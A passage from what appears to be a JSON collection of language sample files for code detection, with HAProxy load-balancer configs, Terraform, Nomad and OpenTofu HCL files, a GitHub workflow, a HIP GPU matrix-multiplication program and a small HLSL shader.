default-server check maxconn 20\n    server server1 10.0.1.3:80 cookie server1\n    server server2 10.0.1.4:80 cookie server2 \n\nbackend nginx\n    balance roundrobin\n    option httpchk HEAD /\n    server server1 10.0.1.5:80 check\n    server server2 10.0.1.6:80 check\n\nlisten admin\n  bind 0.0.0.0:8404\n  stats enable\n  stats uri /monitor\n  stats refresh 5\n"
  },
  {
    "path": "samples/HAProxy/haproxy2.cfg",
    "content": "# HAProxy configuration showing using Basic Auth on Stats page\nglobal\n    log /dev/log local0\n    log /dev/log local1 notice\n    chroot /var/lib/haproxy\n    stats socket /run/haproxy/admin.sock mode 660 level admin\n    stats timeout 30s\n    user haproxy\n    group haproxy\n    ca-base /etc/ssl/certs\n    crt-base /etc/ssl/private\n    ssl-default-bind-ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256\n    ssl-default-bind-options no-sslv3\n    description HAProxy Statistics Page\n\ndefaults\n    log global\n    timeout connect 5000\n    timeout client  50000\n    timeout server  50000\n    mode http\n    option httplog\n    option dontlognull\n    balance roundrobin\n    errorfile 400 /etc/haproxy/errors/400.http\n    errorfile 403 /etc/haproxy/errors/403.http\n    errorfile 408 /etc/haproxy/errors/408.http\n    errorfile 500 /etc/haproxy/errors/500.http\n    errorfile 502 /etc/haproxy/errors/502.http\n    errorfile 503 /etc/haproxy/errors/503.http\n    errorfile 504 /etc/haproxy/errors/504.http\n\nfrontend fe_main\n    bind :80\n    bind :443 ssl crt mysite.pem\n    http-request redirect scheme https unless ssl_fc\n    default_backend webservers\n\nbackend webservers\n    server web1 192.168.0.3:80 check maxconn 20\n    server web2 192.168.0.4:80 check maxconn 20\n    server web3 192.168.0.5:80 check maxconn 20\n    server web4 192.168.0.6:80 check maxconn 20\n\nlisten stats\n    bind :9999 ssl crt mycert.pem\n    stats enable\n    stats uri /report\n    stats refresh 30s\n    stats auth admin:password\n    stats show-desc\n    http-request deny unless { src 192.168.50.0/24 }"
  },
  {
    "path": "samples/HAProxy/haproxy3.cfg",
    "content": "# HAProxy configuration showing load balancing TCP\nglobal\n    log 192.168.50.2:514 local0 info\n    chroot /var/lib/haproxy\n    user haproxy\n    group haproxy\n\ndefaults\n    log global\n    mode tcp\n    balance leastconn\n    option tcplog\n    timeout connect 5s\n    timeout client  5m\n    timeout server  5m\n\nfrontend fe_mysql\n    bind *:3306\n    default_backend be_mysql\n\nbackend be_mysql\n    stick-table type ip size 1m expire 1h\n    stick match src\n    stick store-request src\n    log-tag mysql\n    server db1 192.168.50.10:3306 check slowstart 60s weight 1\n    server db2 192.168.50.11:3306 check slowstart 60s weight 3\n    server db3 192.168.50.12:3306 check slowstart 60s backup\n    server db4 192.168.50.13:3306 check slowstart 60s backup\n\nlisten stats\n    bind :9999 ssl crt /etc/ssl/certs/mycert.pem\n    stats enable\n    stats uri /report\n    stats refresh 30s\n    http-request deny unless { src 192.168.50.0/24 }"
  },
  {
    "path": "samples/HAProxy/haproxy4.cfg",
    "content": "# HAProxy configuration showing redirecting to different backends\nglobal\n    log 192.168.50.2:514 local0\n    chroot /var/lib/haproxy\n    user haproxy\n    group haproxy\n    ssl-default-bind-ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256\n    ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets\n\ndefaults\n    log global\n    option httplog\n    timeout connect 5s\n    timeout client  1m\n    timeout server  1m\n\nfrontend mywebsite\n    bind :80\n    balance roundrobin\n    mode http\n    acl apipath path_beg /api/\n    acl apihost req.hdr(Host) -i -m dom api.mywebsite.com\n    redirect prefix http://api.mywebsite.com if apipath\n    use_backend apiservers if apihost\n    default_backend webservers\n\nbackend webservers\n    option httpchk HEAD /health\n    server web1 192.168.0.3:80 check maxconn 20\n    server web2 192.168.0.4:80 check maxconn 20\n\nbackend apiservers\n    option httpchk HEAD /health\n    server api1 192.168.0.10:80 check maxconn 20\n    server api2 192.168.0.11:80 check maxconn 20"
  },
  {
    "path": "samples/HCL/example.hcl",
    "content": "consul = \"1.2.3.4\"\n\n// This is a comment\ntemplate \"foo\" {\n  bar = \"zip\"\n}\n"
  },
  {
    "path": "samples/HCL/example.nomad",
    "content": "# There can only be a single job definition per file. This job is named\n# \"example\" so it will create a job with the ID and Name \"example\".\n\n# The \"job\" stanza is the top-most configuration option in the job\n# specification. A job is a declarative specification of tasks that Nomad\n# should run. Jobs have a globally unique name, one or many task groups, which\n# are themselves collections of one or many tasks.\n#\n# For more information and examples on the \"job\" stanza, please see\n# the online documentation at:\n#\n#     https://www.nomadproject.io/docs/job-specification/job.html\n#\njob \"example\" {\n  # The \"region\" parameter specifies the region in which to execute the job. If\n  # omitted, this inherits the default region name of \"global\".\n  # region = \"global\"\n\n  # The \"datacenters\" parameter specifies the list of datacenters which should\n  # be considered when placing this task. This must be provided.\n  datacenters = [\"dc1\"]\n\n  # The \"type\" parameter controls the type of job, which impacts the scheduler's\n  # decision on placement. This configuration is optional and defaults to\n  # \"service\". For a full list of job types and their differences, please see\n  # the online documentation.\n  #\n  # For more information, please see the online documentation at:\n  #\n  #     https://www.nomadproject.io/docs/jobspec/schedulers.html\n  #\n  type = \"service\"\n\n  # The \"constraint\" stanza defines additional constraints for placing this job,\n  # in addition to any resource or driver constraints. This stanza may be placed\n  # at the \"job\", \"group\", or \"task\" level, and supports variable interpolation.\n  #\n  # For more information and examples on the \"constraint\" stanza, please see\n  # the online documentation at:\n  #\n  #     https://www.nomadproject.io/docs/job-specification/constraint.html\n  #\n  # constraint {\n  #   attribute = \"${attr.kernel.name}\"\n  #   value     = \"linux\"\n  # }\n\n  # The \"update\" stanza specifies the update strategy of task groups. The update\n  # strategy is used to control things like rolling upgrades, canaries, and\n  # blue/green deployments. If omitted, no update strategy is enforced. The\n  # \"update\" stanza may be placed at the job or task group. When placed at the\n  # job, it applies to all groups within the job. When placed at both the job and\n  # group level, the stanzas are merged with the group's taking precedence.\n  #\n  # For more information and examples on the \"update\" stanza, please see\n  # the online documentation at:\n  #\n  #     https://www.nomadproject.io/docs/job-specification/update.html\n  #\n  update {\n    # The \"max_parallel\" parameter specifies the maximum number of updates to\n    # perform in parallel. In this case, this specifies to update a single task\n    # at a time.\n    max_parallel = 1\n    \n    # The \"min_healthy_time\" parameter specifies the minimum time the allocation\n    # must be in the healthy state before it is marked as healthy and unblocks\n    # further allocations from being updated.\n    min_healthy_time = \"10s\"\n    \n    # The \"healthy_deadline\" parameter specifies the deadline in which the\n    # allocation must be marked as healthy after which the allocation is\n    # automatically transitioned to unhealthy. Transitioning to unhealthy will\n    # fail the deployment and potentially roll back the job if \"auto_revert\" is\n    # set to true.\n    healthy_deadline = \"3m\"\n    \n    # The \"auto_revert\" parameter specifies if the job should auto-revert to the\n    # last stable job on deployment failure. A job is marked as stable if all the\n    # allocations as part of its deployment were marked healthy.\n    auto_revert = false\n    \n    # The \"canary\" parameter specifies that changes to the job that would result\n    # in destructive updates should create the specified number of canaries\n    # without stopping any previous allocations. Once the operator determines the\n    # canaries are healthy, they can be promoted which unblocks a rolling update\n    # of the remaining allocations at a rate of \"max_parallel\".\n    #\n    # Further, setting \"canary\" equal to the count of the task group allows\n    # blue/green deployments. When the job is updated, a full set of the new\n    # version is deployed and upon promotion the old version is stopped.\n    canary = 0\n  }\n\n  # The \"group\" stanza defines a series of tasks that should be co-located on\n  # the same Nomad client. Any task within a group will be placed on the same\n  # client.\n  #\n  # For more information and examples on the \"group\" stanza, please see\n  # the online documentation at:\n  #\n  #     https://www.nomadproject.io/docs/job-specification/group.html\n  #\n  group \"cache\" {\n    # The \"count\" parameter specifies the number of the task groups that should\n    # be running under this group. This value must be non-negative and defaults\n    # to 1.\n    count = 3\n\n    # The \"restart\" stanza configures a group's behavior on task failure. If\n    # left unspecified, a default restart policy is used based on the job type.\n    #\n    # For more information and examples on the \"restart\" stanza, please see\n    # the online documentation at:\n    #\n    #     https://www.nomadproject.io/docs/job-specification/restart.html\n    #\n    restart {\n      # The number of attempts to run the job within the specified interval.\n      attempts = 10\n      interval = \"5m\"\n\n      # The \"delay\" parameter specifies the duration to wait before restarting\n      # a task after it has failed.\n      delay = \"25s\"\n\n     # The \"mode\" parameter controls what happens when a task has restarted\n     # \"attempts\" times within the interval. \"delay\" mode delays the next\n     # restart until the next interval. \"fail\" mode does not restart the task\n     # if \"attempts\" has been hit within the interval.\n      mode = \"delay\"\n    }\n\n    # The \"ephemeral_disk\" stanza instructs Nomad to utilize an ephemeral disk\n    # instead of a hard disk requirement. Clients using this stanza should\n    # not specify disk requirements in the resources stanza of the task. All\n    # tasks in this group will share the same ephemeral disk.\n    #\n    # For more information and examples on the \"ephemeral_disk\" stanza, please\n    # see the online documentation at:\n    #\n    #     https://www.nomadproject.io/docs/job-specification/ephemeral_disk.html\n    #\n    ephemeral_disk {\n      # When sticky is true and the task group is updated, the scheduler\n      # will prefer to place the updated allocation on the same node and\n      # will migrate the data. This is useful for tasks that store data\n      # that should persist across allocation updates.\n      # sticky = true\n      # \n      # Setting migrate to true results in the allocation directory of a\n      # sticky allocation directory to be migrated.\n      # migrate = true\n\n      # The \"size\" parameter specifies the size in MB of shared ephemeral disk\n      # between tasks in the group.\n      size = 300\n    }\n\n    # The \"task\" stanza creates an individual unit of work, such as a Docker\n    # container, web application, or batch processing.\n    #\n    # For more information and examples on the \"task\" stanza, please see\n    # the online documentation at:\n    #\n    #     https://www.nomadproject.io/docs/job-specification/task.html\n    #\n    task \"redis\" {\n      # The \"driver\" parameter specifies the task driver that should be used to\n      # run the task.\n      driver = \"docker\"\n\n      # The \"config\" stanza specifies the driver configuration, which is passed\n      # directly to the driver to start the task. The details of configurations\n      # are specific to each driver, so please see specific driver\n      # documentation for more information.\n      config {\n        image = \"redis:4.0\"\n        port_map {\n          db = 6379\n        }\n      }\n\n      # The \"artifact\" stanza instructs Nomad to download an artifact from a\n      # remote source prior to starting the task. This provides a convenient\n      # mechanism for downloading configuration files or data needed to run the\n      # task. It is possible to specify the \"artifact\" stanza multiple times to\n      # download multiple artifacts.\n      #\n      # For more information and examples on the \"artifact\" stanza, please see\n      # the online documentation at:\n      #\n      #     https://www.nomadproject.io/docs/job-specification/artifact.html\n      #\n      # artifact {\n      #   source = \"http://foo.com/artifact.tar.gz\"\n      #   options {\n      #     checksum = \"md5:c4aa853ad2215426eb7d70a21922e794\"\n      #   }\n      # }\n\n      # The \"logs\" stanza instructs the Nomad client on how many log files and\n      # the maximum size of those logs files to retain. Logging is enabled by\n      # default, but the \"logs\" stanza allows for finer-grained control over\n      # the log rotation and storage configuration.\n      #\n      # For more information and examples on the \"logs\" stanza, please see\n      # the online documentation at:\n      #\n      #     https://www.nomadproject.io/docs/job-specification/logs.html\n      #\n      # logs {\n      #   max_files     = 10\n      #   max_file_size = 15\n      # }\n\n      # The \"resources\" stanza describes the requirements a task needs to\n      # execute. Resource requirements include memory, network, cpu, and more.\n      # This ensures the task will execute on a machine that contains enough\n      # resource capacity.\n      #\n      # For more information and examples on the \"resources\" stanza, please see\n      # the online documentation at:\n      #\n      #     https://www.nomadproject.io/docs/job-specification/resources.html\n      #\n      resources {\n        cpu    = 500 # 500 MHz\n        memory = 256 # 256MB\n        network {\n          mbits = 10\n          port \"db\" {}\n        }\n      }\n\n      # The \"service\" stanza instructs Nomad to register this task as a service\n      # in the service discovery engine, which is currently Consul. This will\n      # make the service addressable after Nomad has placed it on a host and\n      # port.\n      #\n      # For more information and examples on the \"service\" stanza, please see\n      # the online documentation at:\n      #\n      #     https://www.nomadproject.io/docs/job-specification/service.html\n      #\n      service {\n        name = \"global-redis-check\"\n        tags = [\"global\", \"cache\"]\n        port = \"db\"\n        check {\n          name     = \"alive\"\n          type     = \"tcp\"\n          interval = \"10s\"\n          timeout  = \"2s\"\n        }\n      }\n\n      # The \"template\" stanza instructs Nomad to manage a template, such as\n      # a configuration file or script. This template can optionally pull data\n      # from Consul or Vault to populate runtime configuration data.\n      #\n      # For more information and examples on the \"template\" stanza, please see\n      # the online documentation at:\n      #\n      #     https://www.nomadproject.io/docs/job-specification/template.html\n      #\n      # template {\n      #   data          = \"---\\nkey: {{ key \\\"service/my-key\\\" }}\"\n      #   destination   = \"local/file.yml\"\n      #   change_mode   = \"signal\"\n      #   change_signal = \"SIGHUP\"\n      # }\n\n      # The \"template\" stanza can also be used to create environment variables\n      # for tasks that prefer those to config files. The task will be restarted\n      # when data pulled from Consul or Vault changes.\n      #\n      # template {\n      #   data        = \"KEY={{ key \\\"service/my-key\\\" }}\"\n      #   destination = \"local/file.env\"\n      #   env         = true\n      # }\n\n      # The \"vault\" stanza instructs the Nomad client to acquire a token from\n      # a HashiCorp Vault server. The Nomad servers must be configured and\n      # authorized to communicate with Vault. By default, Nomad will inject\n      # The token into the job via an environment variable and make the token\n      # available to the \"template\" stanza. The Nomad client handles the renewal\n      # and revocation of the Vault token.\n      #\n      # For more information and examples on the \"vault\" stanza, please see\n      # the online documentation at:\n      #\n      #     https://www.nomadproject.io/docs/job-specification/vault.html\n      #\n      # vault {\n      #   policies      = [\"cdn\", \"frontend\"]\n      #   change_mode   = \"signal\"\n      #   change_signal = \"SIGHUP\"\n      # }\n\n      # Controls the timeout between signalling a task it will be killed\n      # and killing the task. If not set a default is used.\n      # kill_timeout = \"20s\"\n    }\n  }\n}\n\n"
  },
  {
    "path": "samples/HCL/example.tf",
    "content": "resource \"aws_instance\" \"web\" {\n  // Copies the myapp.conf file to /etc/myapp.conf\n  provisioner \"file\" {\n    source = \"conf/myapp.conf\"\n    destination = \"/etc/myapp.conf\"\n  }\n\n  // Copies the configs.d folder to /etc/configs.d\n  provisioner \"file\" {\n    source = \"conf/configs.d\"\n    destination = \"/etc\"\n  }\n}\n"
  },
  {
    "path": "samples/HCL/example.tofu",
    "content": "# Sample OpenTofu file (.tofu) - This is a hypothetical example for use by\n# Linguist to detect HCL in use by OpenTofu with the .tofu extension.\n\n# --------------------------------------------------------------------------\n# OpenTofu configuration block\n# --------------------------------------------------------------------------\nterraform {\n  required_version = \">= 1.0.0\"\n  required_providers {\n    # This is just an example comment\n    aws    = {\n      source  = \"hashicorp/aws\"\n      version = \"~> 3.0\"\n    }\n    random = {\n      source  = \"hashicorp/random\"\n      version = \"~> 3.0\"\n    }\n  }\n\n  # Backend configuration\n  backend \"s3\" {\n    bucket = \"my-tofu-backend-bucket\"\n    key    = \"path/to/statefile.tfstate\"\n    region = \"us-west-2\"\n  }\n}\n\n# --------------------------------------------------------------------------\n# Provider configurations\n# --------------------------------------------------------------------------\nprovider \"aws\" {\n  region = var.aws_region\n}\n\nprovider \"random\" {\n  # random provider typically doesn't require complicated config\n}\n\n# --------------------------------------------------------------------------\n# Variable definitions\n# --------------------------------------------------------------------------\nvariable \"aws_region\" {\n  type        = string\n  description = \"AWS region to deploy resources into.\"\n  default     = \"us-west-2\"\n}\n\nvariable \"instance_count\" {\n  type        = number\n  description = \"Number of instances to launch.\"\n  default     = 2\n}\n\nvariable \"tags_map\" {\n  type        = map(string)\n  description = \"Map of tags to apply to resources.\"\n  default     = {\n    Environment = \"Development\"\n    Application = \"DemoApp\"\n  }\n}\n\n# --------------------------------------------------------------------------\n# Local values\n# --------------------------------------------------------------------------\nlocals {\n  full_tag_map = merge(\n    var.tags_map,\n    {\n      CreatedBy  = \"OpenTofuSample\"\n      Timestamp  = formatdate(\"YYYY-MM-DD\", timestamp())\n    }\n  )\n}\n\n# --------------------------------------------------------------------------\n# Dummy resource blocks\n# --------------------------------------------------------------------------\nresource \"aws_instance\" \"example\" {\n  # Demo AMI, not real\n  ami           = \"ami-00000000000000000\"\n  instance_type = \"t2.micro\"\n\n  count = var.instance_count\n\n  tags = merge(\n    local.full_tag_map,\n    { Name = \"ExampleInstance-${count.index}\" }\n  )\n}\n\nresource \"random_pet\" \"pet_name\" {\n  length = 3\n}\n\nresource \"aws_s3_bucket\" \"example_bucket\" {\n  bucket = \"my-example-bucket-${random_pet.pet_name.id}\"\n  acl    = \"private\"\n\n  tags = local.full_tag_map\n}\n\n# --------------------------------------------------------------------------\n# Module blocks\n# --------------------------------------------------------------------------\nmodule \"fake_module\" {\n  source  = \"./modules/fake_module\"  # local path or remote module\n  version = \"0.0.1\"                  # dummy version\n\n  # Pass in some variables\n  example_var       = \"HelloTofu\"\n  another_var       = var.instance_count\n  inherited_tag_map = local.full_tag_map\n}\n\n# --------------------------------------------------------------------------\n# Outputs\n# --------------------------------------------------------------------------\noutput \"instance_ids\" {\n  description = \"List of created instance IDs.\"\n  value       = aws_instance.example[*].id\n}\n\noutput \"random_pet_name\" {\n  description = \"The randomly generated pet name.\"\n  value       = random_pet.pet_name.id\n}\n\noutput \"example_bucket_name\" {\n  description = \"The created S3 bucket name.\"\n  value       = aws_s3_bucket.example_bucket.bucket\n}\n"
  },
  {
    "path": "samples/HCL/main.tf",
    "content": "resource \"aws_security_group\" \"elb_sec_group\" {\n  description = \"Allow traffic from the internet to ELB port 80\"\n  vpc_id = \"${var.vpc_id}\"\n\n  ingress {\n      from_port = 80\n      to_port = 80\n      protocol = \"tcp\"\n      cidr_blocks = [\"${split(\",\", var.allowed_cidr_blocks)}\"]\n  }\n\n  egress {\n      from_port = 0\n      to_port = 0\n      protocol = \"-1\"\n      cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"dokku_allow_ssh_from_internal\" {\n  description = \"Allow git access over ssh from the private subnet\"\n  vpc_id = \"${var.vpc_id}\"\n\n  ingress {\n      from_port = 22\n      to_port = 22\n      protocol = \"tcp\"\n      cidr_blocks = [\"${var.private_subnet_cidr}\"]\n  }\n\n  egress {\n      from_port = 0\n      to_port = 0\n      protocol = \"-1\"\n      cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"allow_from_elb_to_instance\" {\n  description = \"Allow traffic from the ELB to the private instance\"\n  vpc_id = \"${var.vpc_id}\"\n\n  ingress {\n      security_groups = [\"${aws_security_group.elb_sec_group.id}\"]\n      from_port = 80\n      to_port = 80\n      protocol = \"tcp\"\n  }\n\n  egress {\n      from_port = 0\n      to_port = 0\n      protocol = \"-1\"\n      cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_instance\" \"dokku\" {\n  ami = \"ami-47a23a30\"\n  instance_type = \"${var.instance_type}\"\n  associate_public_ip_address = false\n  key_name = \"${var.key_name}\"\n  subnet_id = \"${var.private_subnet_id}\"\n  vpc_security_group_ids = [\n    \"${var.bastion_sec_group_id}\",\n    \"${aws_security_group.allow_from_elb_to_instance.id}\",\n    \"${aws_security_group.dokku_allow_ssh_from_internal.id}\"\n  ]\n  tags {\n    Name = \"${var.name}\"\n  }\n  connection {\n    user = \"ubuntu\"\n    private_key = \"${var.private_key}\"\n    bastion_host = \"${var.bastion_host}\"\n    bastion_port = \"${var.bastion_port}\"\n    bastion_user = \"${var.bastion_user}\"\n    bastion_private_key = \"${var.bastion_private_key}\"\n  }\n  provisioner \"file\" {\n    source = \"${path.module}/../scripts/install-dokku.sh\"\n    destination = \"/home/ubuntu/install-dokku.sh\"\n  }\n  provisioner \"remote-exec\" {\n    inline = [\n      \"chmod +x /home/ubuntu/install-dokku.sh\",\n      \"HOSTNAME=${var.hostname} /home/ubuntu/install-dokku.sh\"\n    ]\n  }\n}\n\nresource \"aws_elb\" \"elb_dokku\" {\n  name = \"elb-dokku-${var.name}\"\n  subnets = [\"${var.public_subnet_id}\"]\n  security_groups = [\"${aws_security_group.elb_sec_group.id}\"]\n\n  listener {\n    instance_port = 80\n    instance_protocol = \"http\"\n    lb_port = 80\n    lb_protocol = \"http\"\n  }\n\n  health_check {\n    healthy_threshold = 2\n    unhealthy_threshold = 2\n    timeout = 3\n    target = \"HTTP:80/\"\n    interval = 30\n  }\n\n  instances = [\"${aws_instance.dokku.id}\"]\n  cross_zone_load_balancing = false\n  idle_timeout = 400\n\n  tags {\n    Name = \"elb-dokku-${var.name}\"\n  }\n}\n\nresource \"aws_route53_record\" \"dokku-deploy\" {\n   zone_id = \"${var.zone_id}\"\n   name = \"deploy.${var.hostname}\"\n   type = \"A\"\n   ttl = \"300\"\n   records = [\"${aws_instance.dokku.private_ip}\"]\n}\n\nresource \"aws_route53_record\" \"dokku-wildcard\" {\n   zone_id = \"${var.zone_id}\"\n   name = \"*.${var.hostname}\"\n   type = \"CNAME\"\n   ttl = \"300\"\n   records = [\"${aws_elb.elb_dokku.dns_name}\"]\n}"
  },
  {
    "path": "samples/HCL/main.workflow",
    "content": "workflow \"Build and Publish\" {\n  on = \"push\"\n  resolves = \"Docker Publish\"\n}\n\naction \"Shell Lint\" {\n  uses = \"actions/bin/shellcheck@master\"\n  args = \"entrypoint.sh\"\n}\n\naction \"Test\" {\n  uses = \"actions/bin/bats@master\"\n  args = \"test/*.bats\"\n}\n\naction \"Docker Lint\" {\n  uses = \"docker://replicated/dockerfilelint\"\n  args = [\"Dockerfile\"]\n}\n\naction \"Build\" {\n  needs = [\"Shell Lint\", \"Test\", \"Docker Lint\"]\n  uses = \"actions/docker/cli@master\"\n  args = \"build -t heroku .\"\n}\n\naction \"Docker Tag\" {\n  needs = [\"Build\"]\n  uses = \"actions/docker/tag@master\"\n  args = \"heroku github/heroku --no-latest\"\n}\n\naction \"Publish Filter\" {\n  needs = [\"Build\"]\n  uses = \"actions/bin/filter@master\"\n  args = \"branch master\"\n}\n\naction \"Docker Login\" {\n  needs = [\"Publish Filter\"]\n  uses = \"actions/docker/login@master\"\n  secrets = [\"DOCKER_USERNAME\", \"DOCKER_PASSWORD\"]\n}\n\naction \"Docker Publish\" {\n  needs = [\"Docker Tag\", \"Docker Login\"]\n  uses = \"actions/docker/cli@master\"\n  args = \"push github/heroku\"\n}\n"
  },
  {
    "path": "samples/HCL/terraform.tfvars",
    "content": "# Terragrunt is a thin wrapper for Terraform that provides extra tools for working with multiple Terraform modules,\n# remote state, and locking: https://github.com/gruntwork-io/terragrunt\nterragrunt = {\n  # Configure Terragrunt to automatically store tfstate files in an S3 bucket\n  remote_state {\n    backend = \"s3\"\n    config {\n      encrypt        = true\n      bucket         = \"acme-main-terraform-state\"\n      key            = \"${path_relative_to_include()}/terraform.tfstate\"\n      region         = \"us-east-1\"\n      dynamodb_table = \"terraform-locks\"\n    }\n  }\n\n  # Configure Terragrunt to use common var files to help you keep often-repeated variables (e.g., account ID) DRY.\n  # Note that even though Terraform automatically pulls in terraform.tfvars, we include it explicitly at the end of the\n  # list to make sure its variables override anything in the common var files.\n  terraform {\n    extra_arguments \"common_vars\" {\n      commands = [\"${get_terraform_commands_that_need_vars()}\"]\n\n      optional_var_files = [\n        \"${get_tfvars_dir()}/${find_in_parent_folders(\"account.tfvars\", \"skip-account-if-does-not-exist\")}\",\n        \"${get_tfvars_dir()}/${find_in_parent_folders(\"region.tfvars\", \"skip-region-if-does-not-exist\")}\",\n        \"${get_tfvars_dir()}/${find_in_parent_folders(\"env.tfvars\", \"skip-env-if-does-not-exist\")}\",\n        \"${get_tfvars_dir()}/terraform.tfvars\"\n      ]\n    }\n  }\n}\n\nkey1 = \"val1\"\nkey2 = 0\nkey3 = 1\nkey4 = true\n\n# Sample comments\nkey5 = false\n\nkey6 = [\"hello\", \"from\", \"gruntwork.io\"]\n\nkey7 = {\n  key1 = \"hello\"\n  key2 = \"from\"\n  key3 = \"gruntwork.io\"\n}\n\nkey8 = [\n  {\n    keyA = \"hello\"\n    keyB = \"there\"\n  },\n  {\n    keyA = \"hello\"\n    keyB = \"there\"\n  }\n]"
  },
  {
    "path": "samples/HIP/MatrixMultiplication.hip",
    "content": "// MIT License\n//\n// Original source:\n//   https://github.com/ROCm/rocm-examples\n//   Copyright (c) 2022-2023 Advanced Micro Devices, Inc.\n//\n// Modified and reduced for Linguist sample use by Young-TW\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to deal\n// in the Software without restriction, including without limitation the rights\n// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n// copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in all\n// copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n// SOFTWARE.\n\n#include <hip/hip_runtime.h>\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#include <cmath>\n\nconstexpr unsigned int BlockSize = 16;\n\n__global__ void matrix_multiplication_kernel(const float* A,\n                                             const float* B,\n                                             float* C,\n                                             const unsigned int a_cols) {\n    unsigned int tx = threadIdx.x;\n    unsigned int ty = threadIdx.y;\n    unsigned int bx = blockIdx.x;\n    unsigned int by = blockIdx.y;\n    unsigned int b_cols = blockDim.x * gridDim.x;\n    unsigned int steps = a_cols / BlockSize;\n    float thread_result = 0.0F;\n\n    for (unsigned int step = 0; step < steps; ++step)\n    {\n        __shared__ float a_values[BlockSize][BlockSize];\n        __shared__ float b_values[BlockSize][BlockSize];\n\n        unsigned int a_idx = BlockSize * (a_cols * by + step);\n        unsigned int b_idx = BlockSize * (b_cols * step + bx);\n\n        a_values[ty][tx] = A[a_idx + a_cols * ty + tx];\n        b_values[ty][tx] = B[b_idx + b_cols * ty + tx];\n\n        __syncthreads();\n\n        for (unsigned int i = 0; i < BlockSize; ++i)\n        {\n            thread_result += a_values[ty][i] * b_values[i][tx];\n        }\n\n        __syncthreads();\n    }\n\n    unsigned int block_offset = b_cols * BlockSize * by + BlockSize * bx;\n    C[block_offset + b_cols * ty + tx] = thread_result;\n}\n\nint main() {\n    constexpr unsigned int a_rows = 256, a_cols = 128, b_cols = 128;\n    constexpr unsigned int b_rows = a_cols;\n    constexpr unsigned int c_rows = a_rows, c_cols = b_cols;\n    const size_t a_bytes = sizeof(float) * a_rows * a_cols;\n    const size_t b_bytes = sizeof(float) * b_rows * b_cols;\n    const size_t c_bytes = sizeof(float) * c_rows * c_cols;\n\n    std::vector<float> A(a_rows * a_cols, 1.0f);\n    std::vector<float> B(b_rows * b_cols, 0.5f);\n    std::vector<float> C(c_rows * c_cols);\n\n    float *d_A, *d_B, *d_C;\n    hipMalloc(&d_A, a_bytes);\n    hipMalloc(&d_B, b_bytes);\n    hipMalloc(&d_C, c_bytes);\n    hipMemcpy(d_A, A.data(), a_bytes, hipMemcpyHostToDevice);\n    hipMemcpy(d_B, B.data(), b_bytes, hipMemcpyHostToDevice);\n\n    dim3 block_dim(BlockSize, BlockSize);\n    dim3 grid_dim(c_cols / BlockSize, c_rows / BlockSize);\n    matrix_multiplication_kernel<<<grid_dim, block_dim>>>(d_A, d_B, d_C, a_cols);\n    hipDeviceSynchronize();\n\n    hipMemcpy(C.data(), d_C, c_bytes, hipMemcpyDeviceToHost);\n\n    hipFree(d_A); hipFree(d_B); hipFree(d_C);\n\n    if (std::abs(C[0] - a_cols * 0.5f) < 1e-3f) {\n        std::cout << \"Validation passed.\\n\";\n    } else {\n        std::cout << \"Validation failed.\\n\";\n    }\n}\n"
  },
  {
    "path": "samples/HLSL/accelerated_surface_win.hlsl",
    "content": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n// To compile these two shaders:\n// fxc /E pixelMain /T ps_2_0 accelerated_surface_win.hlsl\n// fxc /E vertexMain /T vs_2_0 accelerated_surface_win.hlsl\n//\n// fxc is in the DirectX SDK.\n\nstruct Vertex {\n  float4 position : POSITION;\n  float2 texCoord : TEXCOORD0;\n};\n\ntexture t;\nsampler s;\n\n// Passes a position and texture coordinate to the pixel shader.\nVertex vertexMain(Vertex input) {\n  return input;\n};\n\n// Samples a texture at the given texture coordinate and returns the result.\nfloat4 pixelMain(float2 texCoord : TEXCOORD0) : COLOR0 {\n  return tex2D(s, texCoord);\n};\n"
  },
  {
    "path": "samples/HLSL/bloom.cginc",
